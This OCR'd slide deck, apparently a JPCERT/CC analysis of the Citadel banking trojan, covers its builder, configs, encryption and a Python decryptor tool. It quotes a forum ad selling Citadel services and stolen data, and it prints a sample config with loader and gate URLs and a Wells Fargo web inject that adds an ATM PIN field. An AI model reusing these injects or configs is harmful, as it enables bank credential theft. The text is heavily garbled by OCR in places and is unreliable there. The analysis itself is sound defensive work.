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Web Injects
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NIVO T P DIER - EEY—I)L

& Citadel Builder

Unlversal Spyware System

Current version Information about active bot

Wersion: 1,3.4.5 Encryption key:
Build time: 22:23:30 20,09,2012 GMT
Signature: avires

Login key: C2ES1B1AIC3EI337208D560591EFAES2 [ ——
Configur ation Language:
Source configuartion file: |English I |
| C:¥Documents and Settings¥kanri#T 24 by f¥Citadel 1,3.4.5 Botnl
Euilding bok
I_ Browse. ., ] [ Edit... ]
[ Build the bok configuration l [ Build the bot files-prowy ] Build Bot ‘ Build Madules ‘
= = _
' & Citadelif ® Search in database o™
Universal Spyware System -~
Information:
Current user: admin
31012014
00:28:47 @ AsizTakyo Database: | Current ¥  Connect | [Setup |
Statistics: :
] e
& 05 ’7 li
i Gy o ¥ W
i Installed Software Search from date (dd.mm): [ 18.12 to date:|19.12
Botnet: Bots: | KPSPZ-IEG_7a8757E8F28640C83 Botnets: ‘
& Bots
: ; IP- | Countries: ‘
™, Web-Injects addresses: )
[ Scripts
L vne Search |
string: ;
Reports: ¥ Edit
Y Search in database Stop- ‘
=y Favorite reports words: » Edit
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P2H—D35I9> RTDRE

* [Plirent]Citadel — Banking botnet.

Hello members of [juska |

| am here to offer CITADEL [JEJER] Rain Edition Botnet Setup Service.

ll_. Selling records of the Trojan citadel of 2012,

Bot fe atures:

- video module (record vid _ _
Accumulated over the entire wear, about 1.5TE reports and so are sold at the following rates:

100GE = 1000WMZ
10GE = 200WMZ
5GE = 100WMZ
1GBE = 25WMLZ

- socreenshots (make scree
- webinjects (you can add
- VNC module. (access to
- Account parser (collect a
- jabber notifier

- socks5 (backoonnect s R T P Y TR Trojan citadel [1]
- Form grabber and injects

- Redirect technology to higmee

- keyloger Jabber: [can see links only to registered users. | 3apervcTpUPOBATLCA... | ]

ICQ: 672378794
PS: country CAIT TR

Original description of Citz

http://malware.dontneedcc

http://malware. dontneedee Free lons can be found here

RS Image
|7 SnimokCIT.JPG (14.2 KB, 4 views)

Last edited ANSIP, 24.01.2013 ar 1617,
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GE b ag iy
B ZeuS EDENZS

; lpFileName
ebx, eax
eax, eax
esi, [esp+344h+var 320]
| Return 5 [esp+344h+var 331], ©
; fileName sub_43327F
ZEET al, al

xor eax, eax ; flags
lea esi, [esp+31Ch+mf] ; mem short loc_419C86

mov [esp+31Ch+opcode], bl eax, [esp+348h+var_31C]
call Fs:: fileToMem(wchar t *,Fs::MEMFILE *,ulong) [esp+348h+var_328]
test al, al [esp+344h+FileInformation], eax

] buildboth jz short eax, [esp+344h+FileInformation]
¢ buildconfig.cpp mov eax, [esp+318h+mf.size] cub 419846

1] buildcanfig.h push [esp+318h+mf.data] ; mem
&1 builder.cpp mov [esp+31Ch+overlaySize], eax [esp+346h+var_328], eax
] clientsh lea eax, [esp+31Ch+overlaySize] ; size EEhE EEE

call Core::getBaseOverlay(void const *,ulong *) short loc_419C7D

mov [esp+318h+overlay], eax [esp+346h+FileInformation], eax
- cmp eax, ebx
& info.cop jnz  short loc_46D701 ; CODE XREF: sub_419C31+4677
¢+ languages.cpp mov [esp+318h+overlaySize], ebx & s
] languages.h 1 eax, [esp+349h+var~_32@]

& main.cpp ; CODE XREF: runAsBot+451j sub_433327
ﬂ':”a?”'_h_ eax, [esp+318h+mf] ; mem
main-co Fs::_closeMemFile(Fs::MEMFILE *) s CODE XREF: Sub_419c31+29‘|j
[esp+34B8h+FileInformation], 136h
loc_419D62
[esp+348h+var_328]
[esp+318h+overlay] sub_415461
Corelnstall:: loadInstalledData(void const *,u al, al

al, al loc_ 419F4E
loc ABD9E7
- 1 ; char

1 ; objectNamespace

eax, [esp+31Ch+strObject] eax, [esp+344h+Name]
eax ; buffer eax ; lpsz
OBJECT_ID_LOADER ; id 32981136h 3 ink
Core: :generateObjectMName(ulong,wchar_t *,uchar sub 4191DD

17 Copyright©2014 JPCERT/CC All rights reserved. JPCER’T CC &

; CODE XREF: r‘unAsBot+2STj
[esp+318h+overlaySize], size

¢+ certstorehook.cpp
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 ¥)EAESTE
- [ES##. Dynamic Config @ URL /2 &
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@ J

L Dynamic Config

e IENDETE
e Web/\>&JL®D URL. Web Injects. etc...
e H—/)\55T>O—-RK
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Base Config

botnet "CIT"
timer_config 4 9
timer_logs 3 6

timer_stats 4 8 Dynamic Config D URL}
timer_modules 1 4

timer_autoupdate 8

url_configl "http://citadelhost/folder/file.php|file=config.dll"
url_config2 "http://reserve-citadelhost/folder/file.php|file=config.dil"
remove_certs 1
disable_cookies O
encryption_key "keyl123" :
report_software 1 RC4 $#Z4Rk 9 DITsHD
enable_luhn10 get O J\XDJ)— R
enable luhnl1l0_ post 1
disable_ antivirus O
use_module_video 1
antiemulation_enable O
disable_ httpgrabber O
use_module_ffcookie 1

20 ‘ Copyright©2014 JPCERT/CC All rights reserved.
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Dynamic Config

url_loader "http://citadelhost/folder/file.php|file=soft.exe"
url server “http://citadelhost/folder/gate.php”
| N | | 4
file_webinjects "injects.txt"
| ST MYttt reeg/en el host/folder/file.php™

entry ""AdvancedConfigs"

"http://reserve-hostl/fgldectfilanbnlfila=canfia hiat
"http://reserve-host2/fd set_url https://www.wellsfargo.com/ GP

end data_before
entry "WebFilters" <div><strong><label for="userid">Username</la
"#*wellsfargo.com/*" |data_end
"@*payment.com/*" | data_inject
"Ihttp://*.com/*.jpg" | <Input type="text" accesskey="U" id="userid" na
end <DIV><STRONG=><LABEL for=userid>=ATM Pin</L
style="WIDTH: 147px" tablndex="2" maxLength=
(snip) <DIV><STRONG=><Ilabel for="password">Passwo

<input type="password" accesskey="P" id="pass
<input type="hidden" name="screenid" value="SI
<input type="submit" value="Go" name="btnSign
<input type="hidden" id="u_p" name="u_p" value
</form=>

data end
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getanks—%

POST /file.php HTTP/1.1

accept: */%

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; windows NT 5.1; Trident/4.0; .MNET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)

HosT:

Content-Length: 128

Connection: Keep-Alive

Cache-Control: no-cache

. T .J..L. Am..7..M.
S Q.. Hovuunnn. - LY P (- S [P LR Z....[5.HTTP/1.1 200 OK
Date: Tue, 10 Dec 2013 12:31:50 GMT
Server: Apache/2.2.15 (Scientific Linux)
X-Powered-By: PHP/5.3.3

Cache-control: public 68 0z 00 3E 2c 0 SE 3 h....T>2,....\..

Content-Disposition: ati - - - .

o P O BD 63 68 B9 BO E5 85 70 B7 BS 9B 51 29 7F OF .ch.o..p...Q) ...

Content-Length: 177951 58 58 BB FB BF FC ED 07 X.X..0.B..... 0..

Egﬂggﬁﬂ?ﬂg;wgggﬁcaﬁ 95 ©3 6B 44 5 3F 91 BE 16 92 A6 58 DF ..kDTH? . ..... X.E

61 e 2D C1 C8 52 0A 4E A4 8 9C 53 F3 07 70 BC -..R.N.%..5..p.

e SC FD BS 20 2C 92 63 92 B3 F7 5D 8D 0& 84 41 N, .C. ] Ax

J.-Connn ,C-pBZ.D. ..k, . 70 9B 69 EF CD A5 BS 11 33 FF AF F8 00 B3 P.oi...a..3......

et e e T 6532 3R 14 7D OC 17 DFiAA 75 4B A8 B3 79 6F Sl|es:.}....uK..yoQ

QAL 208 A5, . -.U.e?. .. 04 ES DB 4F BD BE Al 3E 2E i1.~00 .41 02700

11,.d 1 Iba a2 40

EE F2 0 Y [HKEY_CURRENT_USER¥Sof tware¥Microsof L¥Sfndw] s
5C 55 1B 95 B2 52 iesirb"=hex:3b,77,90,b2,43,20,81,67,26,6,2c,2b, ac.el,al,bf , 3b,cc, 47, 1,43, 20, ¥4
D FD 56 85 17 af,67,25,5f,2c,2b,ea,el,al,bf,3b.cc,47,a1,43,20,cf,67,25,67,2c,2b,ae.el,al, ¥
F2 PR BC 28 3D bf.9d,9b.b1,7a, 80,01, cd, 18, d0,8b, 83,20, 6e, 04,51, 84, 8b, 00, 47,21, 43, 20, 3,67, ¥
1E25RB 75 36 25,5f,2c,2b,ae,el,a1,bf,3b,cc, 47,a1,43,20,31,87,25,5f,2¢c,2h,ae,el,al,bf, 3h, ¥
65 BT E4 E5 CO cc,47,al1,43,20,3,67,25,57,2c,2b.ae,el,al,bf, 1c,B4,e9,e3,96,17,03,88,28,72, 4%
26 5C 02 72 54 cl,Bc,a2,48,c4,86,ba,2f, 12,33, 22,32, de, b1, 74,fd, 41,91, b, 11,7b,51,3b,cc, 47, ¥

al, 43,208 ,67,26.0f.2c.2b,ae, el al,.bf+
“hnilclizon*=hex:19,7c,0b,f1,fc,e8,46,8b,3a,7f,94,92_10,77,84,25,f5,75, b3, 51,59, ¥y
87,52,f1.62,66,31,4f.ba.?b,cd,06,bb,B1,60,bf,98,f ,60,45,68,60,e0,fa,7b, da, ¥
de,96,bc.ba, 33,06, b, 1d.BF, 31,26, 81,750,934, 67, fc. b8, 9F, 16,938,908, 20, cc, 26,70, ¥
BB, 79,a8,e0,86,80,71,0a,da,06,5d,67,24,21,8a,0e,f7,77,19,80,22,8d,81,ac,0f, ¥
ef ,92,3f.04,fc,89,fc.b0.9f,7%c,da, 44, Bb,c4,00,74,12,62,4b,ea,bd, 12,42, 16,84, ¥+
26,22,fd.c0,66,39,fc.3f.ch,a8,9d,e0.7b.bd, Be, 76.d1 . ea, 0f,1b, 4,31, 6,32, b0, ¥
48,ae,bc, 40,18, 50,84, af . da,8d,6d,64,3b, 74, cd, dc, 06, f1,bd,9b,e0,67,2d, 94,62, ¥+
Be,0a,23.48,23,28,cf. 47,23 .66, ee,Ba. 00, 1d,ed, 08, 4d. f6. 77,11, 18, 22,22 52, d1, ¥+
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Citadel hHUWBIES AT

—| AES+ }

e AES ([C XOR I > 11— RZEfHHENEZAT

—| RC4+ }

e RC4 [C XOR I>— RZE#HHFENDEIEAT

—| RC4+ * 2 }

e RC4+ (CKDESZE 2ETD

fl Installed Data }

e 1A M—JLFICT A ATEKUTZ AES $EZE{FRUE
AES+
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Citadel BMEST—F R

StrageArray

B+ X (XOR)
551t BinStrage

BinStrage

B X (XOR)

551t BinStrage
B X (XOR)

551t BinStrage
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Base
A Config

e

.<@
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0x400 J\1 bDOA—)\—L 1

- > X b—)LHID Citadel 1> A M=)L1&

ETI71)L J\ =TI 714)L

ID, 1> A ~—=JL/XX,
S5 >4 I\ AES i,
S5>4 L StrageArray #

| XOR ## 12 E

Install Setting

Installed Data

N >0

O LAY
INTa 27D
28 ‘ Copyright©2014 JPCERT/CC All rights reserved. JPCERT CC e




EBESWRT LD

e e
LR—

5516 BinStrage RC4+

Dynamic Config 551 BinStrage AES+
BINE> 21— EITI71) RC4+ * 2
LiN—bhTJ7A1IL StrageArray Installed Data
31—l
/:E\S;T)‘L/ — StrageArray Installed Data
. . _ |
5)\3(; gr;(fychn 9P preq BinStrage Installed Data
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m el

B A>3 MSICHERBIRZES T D
LN

6E ©l eD &3 3D 22 &2 74§6E 5369 ¢7 GE GF 6E 22 |lname="btnSignon"
20 65 ed4 2D 22 g2 74 -EZEEE 0% 67 BE oF 6E 22 20 id="btnSignon"
63 eC el 7373 3D 22 *:?E 62 6D 6% 74 42 74 cE|class="submitBtn
22 2074 61 62 &5 BE -54565 783D 22 32222F 3E|" tabindex="2"/>
3C ZF e4 &% 7€ 3E 20 =::'§EI.-T—“.-. 3C 63 GET0 7374 20|</div> ..<input
74 75 70 €3 3D 22 &8 f_,k’:?-ﬂ cd 65 cE 22 2069 64 |type="hidden™ id
3D 2275 5F 70 22 20 -53561 el €3 3D 22 75 53F 70 |(="u_p"™ name="u_ p
22 2076 61 eC 75 65 ::22 ZZ2F3EOQODOA3ZCEZF|" walue=""/>..</
o6 cF 72 eD 27 4E 00 :Z::EEIEI 00 00 10 2C 00 00 Od

2Cc 00000064 302C00i10 000000000000 0C
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RC4+ E51

inc [ebp+x]
MOV ZX edi, [ebp+x]
mowv al, [edi+edx]
add [ebp+y], al
movzx  ecx, [ebp+y]
mov bl, [ecxtedx]
mowv esi, [ebp+buffer]
mov [edi+edx], bl
mowv [ecx+edx], al
MOV Z X edi, byte ptr [edi+tedx]
mowv ecx, [ebp+i]
movzx  eax, al
add edi, eax
and edi, @FFh
mowv al, [edi+edx]
MOV Z X edi, [ebp+z]
add esl, ecx
[ camsis] il
bl, byte ptr ds:
bl, [esi]
: Cop ]
MOV Z X eax, [ebp+z]
mowv [esi], bl
cmp eax, [ebp+len]
jnz short loc 42B967
mov [ebp+z], ©

RC4 #EEVS

; CODE XREF: Crypt::

L |
[}

ecx
[ebp+i], ecx
ecx, [ebptsize]
short loc 42B913

33 ‘ Copyright©2014 JPCERT/CC All rights reserved. JPCERT CC &
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L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L}
L




def rc4 plus_decrypt(login_key, base key, buf):
S1 = base key['state']

S2 = map(ord, login_key)

=] =k=0
for c in buf:
| = ( + 1) & OxFF
] = ({ + S1Ji]) & OxFF
S1[i], S1[j] = S1[jl, S1fi]
out += chr((ord(c) ™ S1[(S1[i]+S1[J])&OxXFF])

~ S2[k%len(S2)])
k += 1

return out

34 ‘ Copyright©2014 JPCERT/CC All rights reserved. JPCEB’I‘ GQE:E =



AES+ {ES4LH

AES #EUS

AES €=
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xor
MOV ZX
MOV ZX
xor
xor
xor
S
or
MOV ZX
shl
or
MOV ZX
shl
or
xor
MOV Z X
MoV
MOV ZX
MOV ZX
shl
or
MOV ZX
shl
or
MOV ZX

shl

dword ptr [eax], 32C1AAFCh
edx, byte ptr [eax+3]

edi, byte ptr [eax+2]

dword ptr [eax+4], OABCBF546h
dword ptr [eax+8], @DCCFC5D8h
dword ptr [eax+8Ch], 42AB5073h

[ = d s U
¥
e

edx, edi

edi, byte ptr [eax+1]
edx, 8

edx, edi

edi, byte ptr [eax]
edx, 8

edx, edi

edx, [ecx]

edi, byte ptr [eax+6]
[ebp+var 4], edx

edx, byte ptr [eax+7]
ebx, byte ptr [eax+8Bh]
edx, 8

edx, edi

edi, byte ptr [eax+5]
edx, 8

edx, edi

edi, byte ptr [eax+4]

edxl 8
JPCERT CC°®



def unpack aes plus(login_key, base key, xor_ key,

aes_key, data):
aes = AES.new(aes_key)
tmp = aes.decrypt(data)

for 1 in range(len(tmp)):
out += chr(ord(tmpl[i]) ™

ord(xor_key[i%len(xor_key)]))

return out
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WEIRINSGA—H

Base Installed
<ot

RC4 i Stragﬁe;rray Salt
. y . J . y
2 2 2 2
SRZIN _

AES 52 LoginKey
. J . y
2 2
AES XOR ##
. y

37 ‘ Copyright©2014 JPCERT/CC All rights reserved. JPCERT CC #



WEIRINSA—HF DS

void _ fastcall Core::getBaseConfig(struct BASECONFIG *) proc near
push esi
mov edx, S5A6h
push edx :
push offset source
push eax o aa
call Mem: : copy(void *,void const *,ulong)
mov ecx,
add ecx,
mov esi, edx
sub ecx, eax

loc_412A14:
mow dl, [ecx+eax]
xor [eax], dl
inc eax
dec esi
jnz short loc_412A14
pop esi
retn
void _ fastcall Core::getBaseConfig(struct BASECONFIG *) endp

re.compile(".*¥x56¥XBA(..)¥X00¥xX00¥x52¥x68(....)
¥X50¥XES8....¥Xx8B¥x0D.*", re.DOTALL)
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UCL Decompress
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OpenSource
Home Products Technology Company

O iy
I L o

# oberhumercom

Version 1.03

20 Jul 2004

Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004
Markus F.X.J. Oberhumer

[News] [Abstract] [Qverview] [Speed]
[Portability] [Download] [Links] [Screenshots

N aws

s 20 Jul 2004: UCL 1.03 has been released. See the files NEWS for a list of changes.

Key Facts

UCL is a portable lossless data compression library written in ANSI C.

UCL implements a number of compression algorithms that achieve an excellent compression ratio while allowing *wvery* fast
decompression. Decompression reguires no additional memory.

UCL is an OpenSource re-implementation of some NREV compression algorithms.

As compared to LZ0, the UCL algorithms achieve a better compression ratio but decompression is a little bit slower. See below for some
rough timings.

http://www.oberhumer.com/opensource/ucl/
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UCL Decompress &3

def ucl decompress(self, data):

ucl = cdll.LoadLibrary(UCL)

compressed = c¢_buffer(data)

decompressed = ¢ _buffer(DECOMPRESS MAX_ SIZE)

decompressed size = c_int()

result = ucl.ucl_nrv2b _decompress |e32(
pointer(compressed),
c_int(len(compressed.raw)),

pointer(decompressed),
pointer(decompressed size))

return decompressed.raw|[:decompressed_size.value]
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Windows + 32bit Python

e I— RBIWMEHULTWD ST S UN 64bit (CHIEL TULVRLZS

PyCrypto

ePython DIESEZ1—)L

~AES 1ESZ1T D 2(TIEA

-Windows FHD/ A F U (&
ehttp://www.voidspace.org.uk/python/modules.shtml#pycrypto

pefile

ePython @ Windows E{7J 7 I)LZ/\—XFDE>1—)L
U232 F X/ —RAUT. “HEREZEDHITZHICfEA
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EBS(ICHERT—H

(A= POER

7> )\w =Tz Citadel A&4K

e NX— X RC4 fit
e AES+ FHD XOR ##
e RC4+ FA®D XOR ## (LOGINKEY)

e RC4+ AHOD salt

1 > A =)L D Citadel A&AK

e |nstalled Data
e S MTERMEINIE AES i

e 524 ICEREIE StrageArray i#
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citadel decryptor.py

B Citadel WMESIES{ILESNEFRLART —FZESIT DX
ZAVNA
B ESHRE. V2NV I UEERAEEE TBIZC AN D
BEhHD
>citadel decryptor.py
usage: citadel decryptor.py [-h] [-n] [-a] [-d]
[-0 OUT] [-D] [-] LOGIN]
[-k KEY] [-X XOR] [-s SALT]
[-i INSTALLED]
- MCDRES [-V]
DAT EXE
citadel decryptor.py: error: too few arguments

=
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BUTOATZa> s ESHRELVT7) W OED
Citadel Z{8FE I D

LRh— -m2

AVAA B Dynamic Config -d
t>a—-)L -m3 -n
L Ik—bDT7A1)L -a -i [Install Data Z3#FDEIT I 7-1)L]

t=>1—)LdD
)\ 77w T

LSRR ?{S?J‘ﬁi‘f\/@?”ﬁg P _d i [Install Data & DETT7)L]
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Tips

LA NUFT—=FD)\AF V1L

e regedit ZAHWIT I ANR—~UTeT—4% Filelnsight DTS04 > T
INAFUF—5 (T
e https://qgithub.com/nmantani/Filelnsight-plugins

e J\WH—NIFUHE T API TIL—U9FDAENREHE

e WriteProcessMemory
e CreateProcessW
e VirtualFree / VirtualFreeEx / RtlIFreeHeap

«REBAEY ENBSEITIF7AILZEDEDZIMDHET
e A—)\—=L 1D 0x400 /A hZENT (CHIDELD
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SROEE)

[
L’%T%D TuLaY—JL
e Citadel Decryptor
e ZeuS Decryptor
eVer 2.0.8.9
eVer 2.9.6.1
e |[ce IX Decryptor
e etc.

, o

L%}D‘CL\@L\“J—)L

e Gameover (P2P ZeuS) Decryptor
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Thank Youl!
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B aa-info@jpcert.or.ip
B https://www.|pcert.or.|p

122572 NNk
B info@jpcert.or.|p
B https://www.|pcert.or.jp/form/
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